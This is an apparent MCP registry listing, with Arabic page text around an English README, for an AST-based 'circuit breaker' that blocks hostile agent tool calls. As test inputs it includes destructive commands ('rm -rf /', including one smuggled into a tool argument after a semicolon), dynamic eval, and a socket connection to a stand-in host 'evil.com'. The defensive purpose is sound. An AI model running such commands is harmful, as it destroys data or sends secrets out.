AW-1 Sovereign Circuit Breaker
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
التثبيت
أضف هذا إلى إعدادات MCP في عميلك (Claude Desktop: claude_desktop_config.json، وCursor: .cursor/mcp.json، ويستخدم VS Code وغيره الصيغة نفسها «mcpServers»).
claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'
{
"mcpServers": {
"aw-1-sovereign-circuit-breaker": {
"type": "sse",
"url": "https://p20.laveto.net/wisdom/mcp/sse"
}
}
}
التوثيق
مأخوذ من ملف README للمشروع على GitHub ويُحدَّث أسبوعيًا. تفتح الروابط على GitHub.
المحتويات
AW-1 Circuit Breaker
[]()
Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.
⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal right now without installing anything:
uvx aw1-circuit-breaker --demo
Or verify an arbitrary snippet:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
AW-1 Circuit Breaker
Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.
Installation
pip install -r requirements.txt
Running the Server
Run directly with Python:
python mcp_server.py
Or via uvx:
uvx mcp_server.py
MCP Client Configuration
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "python",
"args": ["mcp_server.py"]
}
}
}
Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | Tripped (RESTRICTED_INVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | Tripped (UNAUTHORIZED_MODULE_IMPORT) |
Run the Showcase
python examples/exploit_showcase.py
Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| AST Inspection (Benign Payload) | 0.0889 ms | 0.1298 ms | 0.1645 ms | < 0.2 ms Overhead |
| AST Inspection (Adversarial Exploit) | 0.0520 ms | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| Shell Argument Injection Guard | 0.0051 ms | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
python benchmark.py
Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
License
Licensed under the Apache License, Version 2.0. See LICENSE for details.
الأسئلة الشائعة
ما هو AW-1 Sovereign Circuit Breaker؟
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
كيف أثبّت AW-1 Sovereign Circuit Breaker؟
يعمل كخادم بعيد. في Claude Code: claude mcp add --transport sse aw-1-sovereign-circuit-breaker 'https://p20.laveto.net/wisdom/mcp/sse'. وفي العملاء الآخرين، الصق إعداد JSON من هذه الصفحة في إعدادات MCP الخاصة بهم.
هل يحتاج AW-1 Sovereign Circuit Breaker إلى مفتاح API؟
لا يذكر إدراجه في السجل أي مفتاح أو سر إلزامي. قد تتطلب بعض الميزات حسابًا لدى الخدمة التي يتصل بها.
هل AW-1 Sovereign Circuit Breaker مفتوح المصدر؟
نعم. شيفرته متاحة على GitHub بترخيص Apache-2.0.
من يصون AW-1 Sovereign Circuit Breaker؟
ينشره MvikManners. يدرجه AI.tn لكنه لا يصونه ولا يوصي به.
من سجل MCP الرسمي. الإدراج ليس توصية: راجع شيفرة الخادم وصلاحياته قبل منحه الوصول إلى بياناتك.